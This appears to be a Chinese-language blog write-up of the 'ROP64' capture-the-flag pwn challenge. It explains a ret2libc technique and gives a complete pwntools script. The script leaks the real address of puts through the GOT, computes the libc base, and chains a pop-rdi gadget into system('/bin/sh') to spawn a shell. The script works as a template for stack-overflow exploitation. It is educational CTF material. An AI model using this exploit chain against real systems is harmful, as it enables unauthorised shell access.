ROP64

task_rop64.rop64

看题目是64位的,就用level3x64的脚本改了:先打印一个已经执行过的函数的真实地址,用它和该函数在libc里的偏移算出libc的基址,得到system还有bin/sh的真实地址最让让它执行system("/bin/sh")。区别是symbols找不到main函数地址,要从IDA/GDB中找到地址,写进去;还有puts的真实地址最后一位是,这样用puts打印的时候到这一位就结束不再打印了,要自己把它加在后面,io.recvuntil("\x7f").ljust(8,"\x00")才能用u64解出地址。

"/lib/x86_64-linux-gnu/libc.so.6"是我的电脑里用的libc版本。

# -*- coding: utf-8 -*-
from pwn import *

# context(os='linux', arch='amd64', log_level='debug')

elf = ELF("./task_rop64.rop64")
io = process("./task_rop64.rop64")
# io = remote("pwn2.jarvisoj.com", 9883)

# main_addr = elf.symbols["__libc_start_main"]
main_addr = 0x400626
puts_addr_got = elf.got["puts"]
puts_addr = elf.symbols["puts"]

# ropper --file ./task_rop64.rop64 --search "pop | ret"
pop_rdi = p64(0x0000000000400703)

io.recvline()
#           junk   ebp (8个)                  参数1给rdi      要执行的函数的地址  执行后返回的地址
io.sendline('x' + 'deadbeef' + pop_rdi + p64(puts_addr_got) + p64(puts_addr) + p64(main_addr))

# puts_addr_real = u64(io.recv(8)) # 得到真实地址
puts_addr_real = u64(io.recvuntil("\x7f").ljust(8,"\x00"))

print("puts_addr_real:")
print(hex(puts_addr_real))

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_libc_offset = libc.symbols["puts"]
sys_libc_offset = libc.symbols["system"]
binsh_libc_offset = next(libc.search("/bin/sh")) # search返回的是个迭代器,要用next()才能访问到偏移量

libc_base = puts_addr_real - puts_libc_offset
sys_addr_real = libc_base + sys_libc_offset
binsh_libc_real = libc_base + binsh_libc_offset

# print io.recvline()

io.recvuntil("pwn it!")
io.sendline('x' + 'deadbeaf' + pop_rdi + p64(binsh_libc_real) + p64(sys_addr_real))
io.interactive()

复制以下链接,并粘贴到你的Mastodon、MisskeyGoToSocial等应用的搜索栏中,即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论,都会出现在本文底部。快去试试吧!

链接:https://emptystack.top/note/rop64